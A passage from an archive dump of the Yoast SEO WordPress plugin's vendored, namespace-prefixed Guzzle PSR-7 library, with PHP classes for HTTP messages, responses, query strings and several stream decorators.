                $method = $serverParams['REQUEST_METHOD'];
            } else {
                throw new \InvalidArgumentException('Cannot determine HTTP method');
            }
        }
        return new \YoastSEO_Vendor\GuzzleHttp\Psr7\ServerRequest($method, $uri, [], null, '1.1', $serverParams);
    }
    public function createResponse(int $code = 200, string $reasonPhrase = '') : \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface
    {
        return new \YoastSEO_Vendor\GuzzleHttp\Psr7\Response($code, [], null, '1.1', $reasonPhrase);
    }
    public function createRequest(string $method, $uri) : \YoastSEO_Vendor\Psr\Http\Message\RequestInterface
    {
        return new \YoastSEO_Vendor\GuzzleHttp\Psr7\Request($method, $uri);
    }
    public function createUri(string $uri = '') : \YoastSEO_Vendor\Psr\Http\Message\UriInterface
    {
        return new \YoastSEO_Vendor\GuzzleHttp\Psr7\Uri($uri);
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/Message.php000064400000020640147510273100020544 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;

use YoastSEO_Vendor\Psr\Http\Message\MessageInterface;
use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
use YoastSEO_Vendor\Psr\Http\Message\ResponseInterface;
final class Message
{
    /**
     * Returns the string representation of an HTTP message.
     *
     * @param MessageInterface $message Message to convert to a string.
     */
    public static function toString(\YoastSEO_Vendor\Psr\Http\Message\MessageInterface $message) : string
    {
        if ($message instanceof \YoastSEO_Vendor\Psr\Http\Message\RequestInterface) {
            $msg = \trim($message->getMethod() . ' ' . $message->getRequestTarget()) . ' HTTP/' . $message->getProtocolVersion();
            if (!$message->hasHeader('host')) {
                $msg .= "\r\nHost: " . $message->getUri()->getHost();
            }
        } elseif ($message instanceof \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface) {
            $msg = 'HTTP/' . $message->getProtocolVersion() . ' ' . $message->getStatusCode() . ' ' . $message->getReasonPhrase();
        } else {
            throw new \InvalidArgumentException('Unknown message type');
        }
        foreach ($message->getHeaders() as $name => $values) {
            if (\is_string($name) && \strtolower($name) === 'set-cookie') {
                foreach ($values as $value) {
                    $msg .= "\r\n{$name}: " . $value;
                }
            } else {
                $msg .= "\r\n{$name}: " . \implode(', ', $values);
            }
        }
        return "{$msg}\r\n\r\n" . $message->getBody();
    }
    /**
     * Get a short summary of the message body.
     *
     * Will return `null` if the response is not printable.
     *
     * @param MessageInterface $message    The message to get the body summary
     * @param int              $truncateAt The maximum allowed size of the summary
     */
    public static function bodySummary(\YoastSEO_Vendor\Psr\Http\Message\MessageInterface $message, int $truncateAt = 120) : ?string
    {
        $body = $message->getBody();
        if (!$body->isSeekable() || !$body->isReadable()) {
            return null;
        }
        $size = $body->getSize();
        if ($size === 0) {
            return null;
        }
        $body->rewind();
        $summary = $body->read($truncateAt);
        $body->rewind();
        if ($size > $truncateAt) {
            $summary .= ' (truncated...)';
        }
        // Matches any printable character, including unicode characters:
        // letters, marks, numbers, punctuation, spacing, and separators.
        if (\preg_match('/[^\\pL\\pM\\pN\\pP\\pS\\pZ\\n\\r\\t]/u', $summary) !== 0) {
            return null;
        }
        return $summary;
    }
    /**
     * Attempts to rewind a message body and throws an exception on failure.
     *
     * The body of the message will only be rewound if a call to `tell()`
     * returns a value other than `0`.
     *
     * @param MessageInterface $message Message to rewind
     *
     * @throws \RuntimeException
     */
    public static function rewindBody(\YoastSEO_Vendor\Psr\Http\Message\MessageInterface $message) : void
    {
        $body = $message->getBody();
        if ($body->tell()) {
            $body->rewind();
        }
    }
    /**
     * Parses an HTTP message into an associative array.
     *
     * The array contains the "start-line" key containing the start line of
     * the message, "headers" key containing an associative array of header
     * array values, and a "body" key containing the body of the message.
     *
     * @param string $message HTTP request or response to parse.
     */
    public static function parseMessage(string $message) : array
    {
        if (!$message) {
            throw new \InvalidArgumentException('Invalid message');
        }
        $message = \ltrim($message, "\r\n");
        $messageParts = \preg_split("/\r?\n\r?\n/", $message, 2);
        if ($messageParts === \false || \count($messageParts) !== 2) {
            throw new \InvalidArgumentException('Invalid message: Missing header delimiter');
        }
        [$rawHeaders, $body] = $messageParts;
        $rawHeaders .= "\r\n";
        // Put back the delimiter we split previously
        $headerParts = \preg_split("/\r?\n/", $rawHeaders, 2);
        if ($headerParts === \false || \count($headerParts) !== 2) {
            throw new \InvalidArgumentException('Invalid message: Missing status line');
        }
        [$startLine, $rawHeaders] = $headerParts;
        if (\preg_match("/(?:^HTTP\\/|^[A-Z]+ \\S+ HTTP\\/)(\\d+(?:\\.\\d+)?)/i", $startLine, $matches) && $matches[1] === '1.0') {
            // Header folding is deprecated for HTTP/1.1, but allowed in HTTP/1.0
            $rawHeaders = \preg_replace(\YoastSEO_Vendor\GuzzleHttp\Psr7\Rfc7230::HEADER_FOLD_REGEX, ' ', $rawHeaders);
        }
        /** @var array[] $headerLines */
        $count = \preg_match_all(\YoastSEO_Vendor\GuzzleHttp\Psr7\Rfc7230::HEADER_REGEX, $rawHeaders, $headerLines, \PREG_SET_ORDER);
        // If these aren't the same, then one line didn't match and there's an invalid header.
        if ($count !== \substr_count($rawHeaders, "\n")) {
            // Folding is deprecated, see https://datatracker.ietf.org/doc/html/rfc7230#section-3.2.4
            if (\preg_match(\YoastSEO_Vendor\GuzzleHttp\Psr7\Rfc7230::HEADER_FOLD_REGEX, $rawHeaders)) {
                throw new \InvalidArgumentException('Invalid header syntax: Obsolete line folding');
            }
            throw new \InvalidArgumentException('Invalid header syntax');
        }
        $headers = [];
        foreach ($headerLines as $headerLine) {
            $headers[$headerLine[1]][] = $headerLine[2];
        }
        return ['start-line' => $startLine, 'headers' => $headers, 'body' => $body];
    }
    /**
     * Constructs a URI for an HTTP request message.
     *
     * @param string $path    Path from the start-line
     * @param array  $headers Array of headers (each value an array).
     */
    public static function parseRequestUri(string $path, array $headers) : string
    {
        $hostKey = \array_filter(\array_keys($headers), function ($k) {
            // Numeric array keys are converted to int by PHP.
            $k = (string) $k;
            return \strtolower($k) === 'host';
        });
        // If no host is found, then a full URI cannot be constructed.
        if (!$hostKey) {
            return $path;
        }
        $host = $headers[\reset($hostKey)][0];
        $scheme = \substr($host, -4) === ':443' ? 'https' : 'http';
        return $scheme . '://' . $host . '/' . \ltrim($path, '/');
    }
    /**
     * Parses a request message string into a request object.
     *
     * @param string $message Request message string.
     */
    public static function parseRequest(string $message) : \YoastSEO_Vendor\Psr\Http\Message\RequestInterface
    {
        $data = self::parseMessage($message);
        $matches = [];
        if (!\preg_match('/^[\\S]+\\s+([a-zA-Z]+:\\/\\/|\\/).*/', $data['start-line'], $matches)) {
            throw new \InvalidArgumentException('Invalid request string');
        }
        $parts = \explode(' ', $data['start-line'], 3);
        $version = isset($parts[2]) ? \explode('/', $parts[2])[1] : '1.1';
        $request = new \YoastSEO_Vendor\GuzzleHttp\Psr7\Request($parts[0], $matches[1] === '/' ? self::parseRequestUri($parts[1], $data['headers']) : $parts[1], $data['headers'], $data['body'], $version);
        return $matches[1] === '/' ? $request : $request->withRequestTarget($parts[1]);
    }
    /**
     * Parses a response message string into a response object.
     *
     * @param string $message Response message string.
     */
    public static function parseResponse(string $message) : \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface
    {
        $data = self::parseMessage($message);
        // According to https://datatracker.ietf.org/doc/html/rfc7230#section-3.1.2
        // the space between status-code and reason-phrase is required. But
        // browsers accept responses without space and reason as well.
        if (!\preg_match('/^HTTP\\/.* [0-9]{3}( .*|$)/', $data['start-line'])) {
            throw new \InvalidArgumentException('Invalid response string: ' . $data['start-line']);
        }
        $parts = \explode(' ', $data['start-line'], 3);
        return new \YoastSEO_Vendor\GuzzleHttp\Psr7\Response((int) $parts[1], $data['headers'], $data['body'], \explode('/', $parts[0])[1], $parts[2] ?? null);
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/FnStream.php000064400000010416147510273100020677 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;

use YoastSEO_Vendor\Psr\Http\Message\StreamInterface;
/**
 * Compose stream implementations based on a hash of functions.
 *
 * Allows for easy testing and extension of a provided stream without needing
 * to create a concrete class for a simple extension point.
 */
#[\AllowDynamicProperties]
final class FnStream implements \YoastSEO_Vendor\Psr\Http\Message\StreamInterface
{
    private const SLOTS = ['__toString', 'close', 'detach', 'rewind', 'getSize', 'tell', 'eof', 'isSeekable', 'seek', 'isWritable', 'write', 'isReadable', 'read', 'getContents', 'getMetadata'];
    /** @var array<string, callable> */
    private $methods;
    /**
     * @param array<string, callable> $methods Hash of method name to a callable.
     */
    public function __construct(array $methods)
    {
        $this->methods = $methods;
        // Create the functions on the class
        foreach ($methods as $name => $fn) {
            $this->{'_fn_' . $name} = $fn;
        }
    }
    /**
     * Lazily determine which methods are not implemented.
     *
     * @throws \BadMethodCallException
     */
    public function __get(string $name) : void
    {
        throw new \BadMethodCallException(\str_replace('_fn_', '', $name) . '() is not implemented in the FnStream');
    }
    /**
     * The close method is called on the underlying stream only if possible.
     */
    public function __destruct()
    {
        if (isset($this->_fn_close)) {
            ($this->_fn_close)();
        }
    }
    /**
     * An unserialize would allow the __destruct to run when the unserialized value goes out of scope.
     *
     * @throws \LogicException
     */
    public function __wakeup() : void
    {
        throw new \LogicException('FnStream should never be unserialized');
    }
    /**
     * Adds custom functionality to an underlying stream by intercepting
     * specific method calls.
     *
     * @param StreamInterface         $stream  Stream to decorate
     * @param array<string, callable> $methods Hash of method name to a closure
     *
     * @return FnStream
     */
    public static function decorate(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream, array $methods)
    {
        // If any of the required methods were not provided, then simply
        // proxy to the decorated stream.
        foreach (\array_diff(self::SLOTS, \array_keys($methods)) as $diff) {
            /** @var callable $callable */
            $callable = [$stream, $diff];
            $methods[$diff] = $callable;
        }
        return new self($methods);
    }
    public function __toString() : string
    {
        try {
            /** @var string */
            return ($this->_fn___toString)();
        } catch (\Throwable $e) {
            if (\PHP_VERSION_ID >= 70400) {
                throw $e;
            }
            \trigger_error(\sprintf('%s::__toString exception: %s', self::class, (string) $e), \E_USER_ERROR);
            return '';
        }
    }
    public function close() : void
    {
        ($this->_fn_close)();
    }
    public function detach()
    {
        return ($this->_fn_detach)();
    }
    public function getSize() : ?int
    {
        return ($this->_fn_getSize)();
    }
    public function tell() : int
    {
        return ($this->_fn_tell)();
    }
    public function eof() : bool
    {
        return ($this->_fn_eof)();
    }
    public function isSeekable() : bool
    {
        return ($this->_fn_isSeekable)();
    }
    public function rewind() : void
    {
        ($this->_fn_rewind)();
    }
    public function seek($offset, $whence = \SEEK_SET) : void
    {
        ($this->_fn_seek)($offset, $whence);
    }
    public function isWritable() : bool
    {
        return ($this->_fn_isWritable)();
    }
    public function write($string) : int
    {
        return ($this->_fn_write)($string);
    }
    public function isReadable() : bool
    {
        return ($this->_fn_isReadable)();
    }
    public function read($length) : string
    {
        return ($this->_fn_read)($length);
    }
    public function getContents() : string
    {
        return ($this->_fn_getContents)();
    }
    /**
     * @return mixed
     */
    public function getMetadata($key = null)
    {
        return ($this->_fn_getMetadata)($key);
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/StreamDecoratorTrait.php000064400000006565147510273100023274 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;

use YoastSEO_Vendor\Psr\Http\Message\StreamInterface;
/**
 * Stream decorator trait
 *
 * @property StreamInterface $stream
 */
trait StreamDecoratorTrait
{
    /**
     * @param StreamInterface $stream Stream to decorate
     */
    public function __construct(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream)
    {
        $this->stream = $stream;
    }
    /**
     * Magic method used to create a new stream if streams are not added in
     * the constructor of a decorator (e.g., LazyOpenStream).
     *
     * @return StreamInterface
     */
    public function __get(string $name)
    {
        if ($name === 'stream') {
            $this->stream = $this->createStream();
            return $this->stream;
        }
        throw new \UnexpectedValueException("{$name} not found on class");
    }
    public function __toString() : string
    {
        try {
            if ($this->isSeekable()) {
                $this->seek(0);
            }
            return $this->getContents();
        } catch (\Throwable $e) {
            if (\PHP_VERSION_ID >= 70400) {
                throw $e;
            }
            \trigger_error(\sprintf('%s::__toString exception: %s', self::class, (string) $e), \E_USER_ERROR);
            return '';
        }
    }
    public function getContents() : string
    {
        return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::copyToString($this);
    }
    /**
     * Allow decorators to implement custom methods
     *
     * @return mixed
     */
    public function __call(string $method, array $args)
    {
        /** @var callable $callable */
        $callable = [$this->stream, $method];
        $result = $callable(...$args);
        // Always return the wrapped object if the result is a return $this
        return $result === $this->stream ? $this : $result;
    }
    public function close() : void
    {
        $this->stream->close();
    }
    /**
     * @return mixed
     */
    public function getMetadata($key = null)
    {
        return $this->stream->getMetadata($key);
    }
    public function detach()
    {
        return $this->stream->detach();
    }
    public function getSize() : ?int
    {
        return $this->stream->getSize();
    }
    public function eof() : bool
    {
        return $this->stream->eof();
    }
    public function tell() : int
    {
        return $this->stream->tell();
    }
    public function isReadable() : bool
    {
        return $this->stream->isReadable();
    }
    public function isWritable() : bool
    {
        return $this->stream->isWritable();
    }
    public function isSeekable() : bool
    {
        return $this->stream->isSeekable();
    }
    public function rewind() : void
    {
        $this->seek(0);
    }
    public function seek($offset, $whence = \SEEK_SET) : void
    {
        $this->stream->seek($offset, $whence);
    }
    public function read($length) : string
    {
        return $this->stream->read($length);
    }
    public function write($string) : int
    {
        return $this->stream->write($string);
    }
    /**
     * Implement in subclasses to dynamically create streams when requested.
     *
     * @throws \BadMethodCallException
     */
    protected function createStream() : \YoastSEO_Vendor\Psr\Http\Message\StreamInterface
    {
        throw new \BadMethodCallException('Not implemented');
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/Response.php000064400000010646147510273100020763 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;

use YoastSEO_Vendor\Psr\Http\Message\ResponseInterface;
use YoastSEO_Vendor\Psr\Http\Message\StreamInterface;
/**
 * PSR-7 response implementation.
 */
class Response implements \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface
{
    use MessageTrait;
    /** Map of standard HTTP status code/reason phrases */
    private const PHRASES = [100 => 'Continue', 101 => 'Switching Protocols', 102 => 'Processing', 200 => 'OK', 201 => 'Created', 202 => 'Accepted', 203 => 'Non-Authoritative Information', 204 => 'No Content', 205 => 'Reset Content', 206 => 'Partial Content', 207 => 'Multi-status', 208 => 'Already Reported', 300 => 'Multiple Choices', 301 => 'Moved Permanently', 302 => 'Found', 303 => 'See Other', 304 => 'Not Modified', 305 => 'Use Proxy', 306 => 'Switch Proxy', 307 => 'Temporary Redirect', 308 => 'Permanent Redirect', 400 => 'Bad Request', 401 => 'Unauthorized', 402 => 'Payment Required', 403 => 'Forbidden', 404 => 'Not Found', 405 => 'Method Not Allowed', 406 => 'Not Acceptable', 407 => 'Proxy Authentication Required', 408 => 'Request Time-out', 409 => 'Conflict', 410 => 'Gone', 411 => 'Length Required', 412 => 'Precondition Failed', 413 => 'Request Entity Too Large', 414 => 'Request-URI Too Large', 415 => 'Unsupported Media Type', 416 => 'Requested range not satisfiable', 417 => 'Expectation Failed', 418 => 'I\'m a teapot', 422 => 'Unprocessable Entity', 423 => 'Locked', 424 => 'Failed Dependency', 425 => 'Unordered Collection', 426 => 'Upgrade Required', 428 => 'Precondition Required', 429 => 'Too Many Requests', 431 => 'Request Header Fields Too Large', 451 => 'Unavailable For Legal Reasons', 500 => 'Internal Server Error', 501 => 'Not Implemented', 502 => 'Bad Gateway', 503 => 'Service Unavailable', 504 => 'Gateway Time-out', 505 => 'HTTP Version not supported', 506 => 'Variant Also Negotiates', 507 => 'Insufficient Storage', 508 => 'Loop Detected', 510 => 'Not Extended', 511 => 'Network Authentication Required'];
    /** @var string */
    private $reasonPhrase;
    /** @var int */
    private $statusCode;
    /**
     * @param int                                  $status  Status code
     * @param (string|string[])[]                  $headers Response headers
     * @param string|resource|StreamInterface|null $body    Response body
     * @param string                               $version Protocol version
     * @param string|null                          $reason  Reason phrase (when empty a default will be used based on the status code)
     */
    public function __construct(int $status = 200, array $headers = [], $body = null, string $version = '1.1', string $reason = null)
    {
        $this->assertStatusCodeRange($status);
        $this->statusCode = $status;
        if ($body !== '' && $body !== null) {
            $this->stream = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor($body);
        }
        $this->setHeaders($headers);
        if ($reason == '' && isset(self::PHRASES[$this->statusCode])) {
            $this->reasonPhrase = self::PHRASES[$this->statusCode];
        } else {
            $this->reasonPhrase = (string) $reason;
        }
        $this->protocol = $version;
    }
    public function getStatusCode() : int
    {
        return $this->statusCode;
    }
    public function getReasonPhrase() : string
    {
        return $this->reasonPhrase;
    }
    public function withStatus($code, $reasonPhrase = '') : \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface
    {
        $this->assertStatusCodeIsInteger($code);
        $code = (int) $code;
        $this->assertStatusCodeRange($code);
        $new = clone $this;
        $new->statusCode = $code;
        if ($reasonPhrase == '' && isset(self::PHRASES[$new->statusCode])) {
            $reasonPhrase = self::PHRASES[$new->statusCode];
        }
        $new->reasonPhrase = (string) $reasonPhrase;
        return $new;
    }
    /**
     * @param mixed $statusCode
     */
    private function assertStatusCodeIsInteger($statusCode) : void
    {
        if (\filter_var($statusCode, \FILTER_VALIDATE_INT) === \false) {
            throw new \InvalidArgumentException('Status code must be an integer value.');
        }
    }
    private function assertStatusCodeRange(int $statusCode) : void
    {
        if ($statusCode < 100 || $statusCode >= 600) {
            throw new \InvalidArgumentException('Status code must be an integer value between 1xx and 5xx.');
        }
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/NoSeekStream.php000064400000001116147510273100021515 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;

use YoastSEO_Vendor\Psr\Http\Message\StreamInterface;
/**
 * Stream decorator that prevents a stream from being seeked.
 */
final class NoSeekStream implements \YoastSEO_Vendor\Psr\Http\Message\StreamInterface
{
    use StreamDecoratorTrait;
    /** @var StreamInterface */
    private $stream;
    public function seek($offset, $whence = \SEEK_SET) : void
    {
        throw new \RuntimeException('Cannot seek a NoSeekStream');
    }
    public function isSeekable() : bool
    {
        return \false;
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/BufferStream.php000064400000006321147510273100021545 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;

use YoastSEO_Vendor\Psr\Http\Message\StreamInterface;
/**
 * Provides a buffer stream that can be written to to fill a buffer, and read
 * from to remove bytes from the buffer.
 *
 * This stream returns a "hwm" metadata value that tells upstream consumers
 * what the configured high water mark of the stream is, or the maximum
 * preferred size of the buffer.
 */
final class BufferStream implements \YoastSEO_Vendor\Psr\Http\Message\StreamInterface
{
    /** @var int */
    private $hwm;
    /** @var string */
    private $buffer = '';
    /**
     * @param int $hwm High water mark, representing the preferred maximum
     *                 buffer size. If the size of the buffer exceeds the high
     *                 water mark, then calls to write will continue to succeed
     *                 but will return 0 to inform writers to slow down
     *                 until the buffer has been drained by reading from it.
     */
    public function __construct(int $hwm = 16384)
    {
        $this->hwm = $hwm;
    }
    public function __toString() : string
    {
        return $this->getContents();
    }
    public function getContents() : string
    {
        $buffer = $this->buffer;
        $this->buffer = '';
        return $buffer;
    }
    public function close() : void
    {
        $this->buffer = '';
    }
    public function detach()
    {
        $this->close();
        return null;
    }
    public function getSize() : ?int
    {
        return \strlen($this->buffer);
    }
    public function isReadable() : bool
    {
        return \true;
    }
    public function isWritable() : bool
    {
        return \true;
    }
    public function isSeekable() : bool
    {
        return \false;
    }
    public function rewind() : void
    {
        $this->seek(0);
    }
    public function seek($offset, $whence = \SEEK_SET) : void
    {
        throw new \RuntimeException('Cannot seek a BufferStream');
    }
    public function eof() : bool
    {
        return \strlen($this->buffer) === 0;
    }
    public function tell() : int
    {
        throw new \RuntimeException('Cannot determine the position of a BufferStream');
    }
    /**
     * Reads data from the buffer.
     */
    public function read($length) : string
    {
        $currentLength = \strlen($this->buffer);
        if ($length >= $currentLength) {
            // No need to slice the buffer because we don't have enough data.
            $result = $this->buffer;
            $this->buffer = '';
        } else {
            // Slice up the result to provide a subset of the buffer.
            $result = \substr($this->buffer, 0, $length);
            $this->buffer = \substr($this->buffer, $length);
        }
        return $result;
    }
    /**
     * Writes data to the buffer.
     */
    public function write($string) : int
    {
        $this->buffer .= $string;
        if (\strlen($this->buffer) >= $this->hwm) {
            return 0;
        }
        return \strlen($string);
    }
    /**
     * @return mixed
     */
    public function getMetadata($key = null)
    {
        if ($key === 'hwm') {
            return $this->hwm;
        }
        return $key ? null : [];
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/Query.php000064400000007140147510273100020265 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;

final class Query
{
    /**
     * Parse a query string into an associative array.
     *
     * If multiple values are found for the same key, the value of that key
     * value pair will become an array. This function does not parse nested
     * PHP style arrays into an associative array (e.g., `foo[a]=1&foo[b]=2`
     * will be parsed into `['foo[a]' => '1', 'foo[b]' => '2'])`.
     *
     * @param string   $str         Query string to parse
     * @param int|bool $urlEncoding How the query string is encoded
     */
    public static function parse(string $str, $urlEncoding = \true) : array
    {
        $result = [];
        if ($str === '') {
            return $result;
        }
        if ($urlEncoding === \true) {
            $decoder = function ($value) {
                return \rawurldecode(\str_replace('+', ' ', (string) $value));
            };
        } elseif ($urlEncoding === \PHP_QUERY_RFC3986) {
            $decoder = 'rawurldecode';
        } elseif ($urlEncoding === \PHP_QUERY_RFC1738) {
            $decoder = 'urldecode';
        } else {
            $decoder = function ($str) {
                return $str;
            };
        }
        foreach (\explode('&', $str) as $kvp) {
            $parts = \explode('=', $kvp, 2);
            $key = $decoder($parts[0]);
            $value = isset($parts[1]) ? $decoder($parts[1]) : null;
            if (!\array_key_exists($key, $result)) {
                $result[$key] = $value;
            } else {
                if (!\is_array($result[$key])) {
                    $result[$key] = [$result[$key]];
                }
                $result[$key][] = $value;
            }
        }
        return $result;
    }
    /**
     * Build a query string from an array of key value pairs.
     *
     * This function can use the return value of `parse()` to build a query
     * string. This function does not modify the provided keys when an array is
     * encountered (like `http_build_query()` would).
     *
     * @param array     $params   Query string parameters.
     * @param int|false $encoding Set to false to not encode, PHP_QUERY_RFC3986
     *                            to encode using RFC3986, or PHP_QUERY_RFC1738
     *                            to encode using RFC1738.
     */
    public static function build(array $params, $encoding = \PHP_QUERY_RFC3986) : string
    {
        if (!$params) {
            return '';
        }
        if ($encoding === \false) {
            $encoder = function (string $str) : string {
                return $str;
            };
        } elseif ($encoding === \PHP_QUERY_RFC3986) {
            $encoder = 'rawurlencode';
        } elseif ($encoding === \PHP_QUERY_RFC1738) {
            $encoder = 'urlencode';
        } else {
            throw new \InvalidArgumentException('Invalid type');
        }
        $qs = '';
        foreach ($params as $k => $v) {
            $k = $encoder((string) $k);
            if (!\is_array($v)) {
                $qs .= $k;
                $v = \is_bool($v) ? (int) $v : $v;
                if ($v !== null) {
                    $qs .= '=' . $encoder((string) $v);
                }
                $qs .= '&';
            } else {
                foreach ($v as $vv) {
                    $qs .= $k;
                    $vv = \is_bool($vv) ? (int) $vv : $vv;
                    if ($vv !== null) {
                        $qs .= '=' . $encoder((string) $vv);
                    }
                    $qs .= '&';
                }
            }
        }
        return $qs ? (string) \substr($qs, 0, -1) : '';
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/PumpStream.php000064400000011166147510273100021260 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;

use YoastSEO_Vendor\Psr\Http\Message\StreamInterface;
/**
 * Provides a read only stream that pumps data from a PHP callable.
 *
 * When invoking the provided callable, the PumpStream will pass the amount of
 * data requested to read to the callable. The callable can choose to ignore
 * this value and return fewer or more bytes than requested. Any extra data
 * returned by the provided callable is buffered internally until drained using
 * the read() function of the PumpStream. The provided callable MUST return
 * false when there is no more data to read.
 */
final class PumpStream implements \YoastSEO_Vendor\Psr\Http\Message\StreamInterface
{
    /** @var callable(int): (string|false|null)|null */
    private $source;
    /** @var int|null */
    private $size;
    /** @var int */
    private $tellPos = 0;
    /** @var array */
    private $metadata;
    /** @var BufferStream */
    private $buffer;
    /**
     * @param callable(int): (string|false|null)  $source  Source of the stream data. The callable MAY
     *                                                     accept an integer argument used to control the
     *                                                     amount of data to return. The callable MUST
     *                                                     return a string when called, or false|null on error
     *                                                     or EOF.
     * @param array{size?: int, metadata?: array} $options Stream options:
     *                                                     - metadata: Hash of metadata to use with stream.
     *                                                     - size: Size of the stream, if known.
     */
    public function __construct(callable $source, array $options = [])
    {
        $this->source = $source;
        $this->size = $options['size'] ?? null;
        $this->metadata = $options['metadata'] ?? [];
        $this->buffer = new \YoastSEO_Vendor\GuzzleHttp\Psr7\BufferStream();
    }
    public function __toString() : string
    {
        try {
            return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::copyToString($this);
        } catch (\Throwable $e) {
            if (\PHP_VERSION_ID >= 70400) {
                throw $e;
            }
            \trigger_error(\sprintf('%s::__toString exception: %s', self::class, (string) $e), \E_USER_ERROR);
            return '';
        }
    }
    public function close() : void
    {
        $this->detach();
    }
    public function detach()
    {
        $this->tellPos = 0;
        $this->source = null;
        return null;
    }
    public function getSize() : ?int
    {
        return $this->size;
    }
    public function tell() : int
    {
        return $this->tellPos;
    }
    public function eof() : bool
    {
        return $this->source === null;
    }
    public function isSeekable() : bool
    {
        return \false;
    }
    public function rewind() : void
    {
        $this->seek(0);
    }
    public function seek($offset, $whence = \SEEK_SET) : void
    {
        throw new \RuntimeException('Cannot seek a PumpStream');
    }
    public function isWritable() : bool
    {
        return \false;
    }
    public function write($string) : int
    {
        throw new \RuntimeException('Cannot write to a PumpStream');
    }
    public function isReadable() : bool
    {
        return \true;
    }
    public function read($length) : string
    {
        $data = $this->buffer->read($length);
        $readLen = \strlen($data);
        $this->tellPos += $readLen;
        $remaining = $length - $readLen;
        if ($remaining) {
            $this->pump($remaining);
            $data .= $this->buffer->read($remaining);
            $this->tellPos += \strlen($data) - $readLen;
        }
        return $data;
    }
    public function getContents() : string
    {
        $result = '';
        while (!$this->eof()) {
            $result .= $this->read(1000000);
        }
        return $result;
    }
    /**
     * @return mixed
     */
    public function getMetadata($key = null)
    {
        if (!$key) {
            return $this->metadata;
        }
        return $this->metadata[$key] ?? null;
    }
    private function pump(int $length) : void
    {
        if ($this->source !== null) {
            do {
                $data = ($this->source)($length);
                if ($data === \false || $data === null) {
                    $this->source = null;
                    return;
                }
                $this->buffer->write($data);
                $length -= \strlen($data);
            } while ($length > 0);
        }
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/AppendStream.php000064400000013614147510273100021546 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;

use YoastSEO_Vendor\Psr\Http\Message\StreamInterface;
/**
 * Reads from multiple streams, one after the other.
 *
 * This is a read-only stream decorator.
 */
final class AppendStream implements \YoastSEO_Vendor\Psr\Http\Message\StreamInterface
{
    /** @var StreamInterface[] Streams being decorated */
    private $streams = [];
    /** @var bool */
    private $seekable = \true;
    /** @var int */
    private $current = 0;
    /** @var int */
    private $pos = 0;
    /**
     * @param StreamInterface[] $streams Streams to decorate. Each stream must
     *                                   be readable.
     */
    public function __construct(array $streams = [])
    {
        foreach ($streams as $stream) {
            $this->addStream($stream);
        }
    }
    public function __toString() : string
    {
        try {
            $this->rewind();
            return $this->getContents();
        } catch (\Throwable $e) {
            if (\PHP_VERSION_ID >= 70400) {
                throw $e;
            }
            \trigger_error(\sprintf('%s::__toString exception: %s', self::class, (string) $e), \E_USER_ERROR);
            return '';
        }
    }
    /**
     * Add a stream to the AppendStream
     *
     * @param StreamInterface $stream Stream to append. Must be readable.
     *
     * @throws \InvalidArgumentException if the stream is not readable
     */
    public function addStream(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream) : void
    {
        if (!$stream->isReadable()) {
            throw new \InvalidArgumentException('Each stream must be readable');
        }
        // The stream is only seekable if all streams are seekable
        if (!$stream->isSeekable()) {
            $this->seekable = \false;
        }
        $this->streams[] = $stream;
    }
    public function getContents() : string
    {
        return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::copyToString($this);
    }
    /**
     * Closes each attached stream.
     */
    public function close() : void
    {
        $this->pos = $this->current = 0;
        $this->seekable = \true;
        foreach ($this->streams as $stream) {
            $stream->close();
        }
        $this->streams = [];
    }
    /**
     * Detaches each attached stream.
     *
     * Returns null as it's not clear which underlying stream resource to return.
     */
    public function detach()
    {
        $this->pos = $this->current = 0;
        $this->seekable = \true;
        foreach ($this->streams as $stream) {
            $stream->detach();
        }
        $this->streams = [];
        return null;
    }
    public function tell() : int
    {
        return $this->pos;
    }
    /**
     * Tries to calculate the size by adding the size of each stream.
     *
     * If any of the streams do not return a valid number, then the size of the
     * append stream cannot be determined and null is returned.
     */
    public function getSize() : ?int
    {
        $size = 0;
        foreach ($this->streams as $stream) {
            $s = $stream->getSize();
            if ($s === null) {
                return null;
            }
            $size += $s;
        }
        return $size;
    }
    public function eof() : bool
    {
        return !$this->streams || $this->current >= \count($this->streams) - 1 && $this->streams[$this->current]->eof();
    }
    public function rewind() : void
    {
        $this->seek(0);
    }
    /**
     * Attempts to seek to the given position. Only supports SEEK_SET.
     */
    public function seek($offset, $whence = \SEEK_SET) : void
    {
        if (!$this->seekable) {
            throw new \RuntimeException('This AppendStream is not seekable');
        } elseif ($whence !== \SEEK_SET) {
            throw new \RuntimeException('The AppendStream can only seek with SEEK_SET');
        }
